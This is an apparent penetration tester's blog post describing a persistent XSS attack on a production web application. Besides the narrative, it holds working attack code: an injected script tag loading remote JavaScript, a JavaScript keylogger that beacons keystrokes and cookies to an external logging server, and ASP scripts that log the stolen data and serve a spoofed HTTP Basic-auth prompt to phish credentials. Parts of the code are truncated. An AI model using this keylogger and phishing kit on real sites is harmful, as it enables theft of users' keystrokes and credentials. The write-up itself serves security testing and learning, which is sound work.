[zz]Fun with Persistent XSS
For the past
few weeks, I've been doing some pen-testing for a friend, after hours. His
client is an Internet business with no staging/qa systems, so I was testing
production web apps. For one particular app, we did primarily a black box test
where I was given only one set of low privileged credentials.
The application contains links to other applications also protected with basic
auth, but for which my creds have no access. I needed to get access to these
other apps on other servers, since that's where the juicy data was!
After many hours, the only vuln I could find was some persistent cross-site
scripting in a user profile management script. I was allowed to create profiles
of people which populate a drop down list in the left hand frame of the site.
It was in this list that I could inject arbitrary tags. Since the site relied
only on the authorization header to grant access, and not a session cookie,
cookie theft and session hijacking was not a feasible option.
My payload: <SCRIPT src="http://myserver.com/script/"></script>
I used a default file (index.asp) to serve the JS content since I had some
space limitations to deal with.
I looked into cross-site
tracing
to try and steal authorization headers, but I couldn't get it to
work with JS or client-side VBScript (XMLHTTP/WINHTTP don't let you use trace).
I figured the next best tactic would be to launch some more invasive XSS
attacks. After confirming the rules of engagement, I was given the OK to start
pwning browsers. Awesome!
My first payload consisted of a JavaScript key logger, as well as some code to
track user statistics (IP address, what URLs they're visiting, etc). It's at
the bottom of this post. There is a lot I could have done here, but rather than
try to compromise clients, I focused on just trying to steal user credentials.
All I really wanted was access to other applications linked to from this
portal.
Once I deployed the initial payload, I found that at that particular time,
there was only one user, and he/she wasn't typing anything in the browser. I
wasn't logging any key strokes, but I saw the browser requesting one URL over
and over again. The URL was a stats page showing how many customers were converting
on one of their web sites :-) (Anyone who has ever run an ecommerce site knows
what I'm talking about)
Since I couldn't get the authorization header, there were no cookies, and my
user wasn't even typing anything, I figured my best shot would be to phish
credentials out of him using a spoofed 401 authentication request. I put a
script on my web server that prompted the user for credentials while spoofing
the realm that the real server used. Using my XSS payload, I could then
redirect the main frame of the users browser to my 401 script whenever I
wanted.
Since the page was framed, and did not use HTTPS, it would not be immediately
obvious that any of my scripts were hosted elsewhere. The authentication prompt
did show my web server IP address, but I hoped the user would not notice this
subtle detail. I was relying on the the user to enter their credentials into my
spoofed basic auth prompt without a second thought.
I waited for the user to come back and start refreshing the stats page. When
they did, I modified my JS payload to start redirecting to my spoofed basic
auth page. My script logged whatever authorization header was sent back by the
web browser, but it never let the user through. Since I was actively monitoring
the attack, I would manually disable it to let user through and hopefully not
arouse too much suspicion.
The first attempt yeiled Og==. A base64 encoded semi-colon. Since my script was
hosted a different domain, the browser did not initially pre-populate anything,
and the user just hit enter to submit a blank username and password. The second
attempt got me TkyLjE2OC4xLjIwXGpvaG46, which when decoded, was
"192.168.1.20"john:". The browser populated the username as the
client machine IP and the locally logged on user-name. The user didn't enter a
password, and hit submit.
At this point, I was pretty frustrated, so I disabled the 401 prompt, let the
user in, and went back to the drawing board. My script was working but the user
didn't enter anything. I didn't see a better way to launch this attack, so I
just tried a few more times. Eventually, the user entered the same credentials
I was initially given to conduct the test. I phished the credentials I already
had! They were probably the easiest for the user to obtain, since they had recently
been provided to us for the test. Oh well...
My big mistake here was that I assumed the user knew their account credentials.
More likely, they entered them once, but checked the box allowing the browser
to remember them, so they never had to manually enter them again.
Looking back, rather then attempt to steal credentials, I could have written
some JavaScript to proxy HTTP requests to protected resources through this
users browser, and send the resulting response data back to me. This would have
taken much more time. I'll have to write some code to do that for next time.
Even though I was not completely successful, this was still a fun exercise. It
was cool to actually go head to head against one person in real time, and
modify my attack on the fly! I don't usually get to do that at my day job...
If anyone has any other ideas on what I could have done differently, feel free
to comment. That is, if anyone actually reads this long post. If you still feel
like reading, check my code below. Cheers!
JavaScript - not the prettiest, but it got the job done!
<%
response.contenttype="text/javascript" %>
function keylogger(e){
document.images[0].src = "http://xxxxxxx/k/logger.asp
};
document.images[0].src =
"http://xxxxxxxx/k/logger.asp
var browser=navigator.appName;
var b_version=navigator.appVersion;
var version=parseFloat(b_version);
if ((browser=="Microsoft Internet Explorer")&&
(version>=4)){
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxxx/k/logger.asp
}
parent.frames[1].document.onkeypress = function () {
k = parent.frames[1].window.event.keyCode;
//window.status = keylog += String.fromCharCode(k) + '[' + k +']';
document.images[0].src = "http://xxxxxxxxx/k/logger.asp
}
}
else
{
document.body.addEventListener("keyup", keylogger, false);
parent.frames[1].document.body.addEventListe
}
// parent.frames[1].document.location =
"http://xxxxxxxxxxx/k/auth.asp";
document.images[0].src = "http://xxxxxxxx/k/logger.asp
Logger.asp:
<%
strKey = request("key")
httpReferrer = request.servervariables("HTTP_REFERER")
httpCookie = request("ccookie")
x= Logit("d:"logs"keylogger.txt", chr(strKey) & vbtab &
httpReferrer &vbtab & httpCookie)
function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
objOutputFile.Close
Set objFSO = Nothing
Set objOutputFile = Nothing
end function %>
Auth.asp - Modified to send the user where they want to go after they submit
creds.
<%
function Logit(strOutputFile, strOutPut)
Dim objFSO, objOutputFile
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objOutputFile = objFSO.OpenTextFile(strOutputFile, 8, True)
objOutputFile.Write now() & vbtab & strOutPut & vbCrLf
objOutputFile.Close
Set objFSO = Nothing
Set objOutputFile = Nothing
end function
if instr(request.servervariables("ALL_RAW"),
"Authorization:") <=0 then x=
Logit("d:"logs"credlogger.txt",
request.servervariables("ALL_RAW")) response.status = 401
response.addheader "WWW-Authenticate", "Basic
realm=""Spoofin yo realmz!""" response.addheader
"Server", "Apache/1.3.20
(Unix) PHP/4.2.2" else x= Logit("d:"logs"credlogger.txt",
request.servervariables("ALL_RAW")) %>
<script>
document.location.href="http://where the user wants to go";
</script>
<% end if %>
Posted by Schmoilitoat 2:27 PM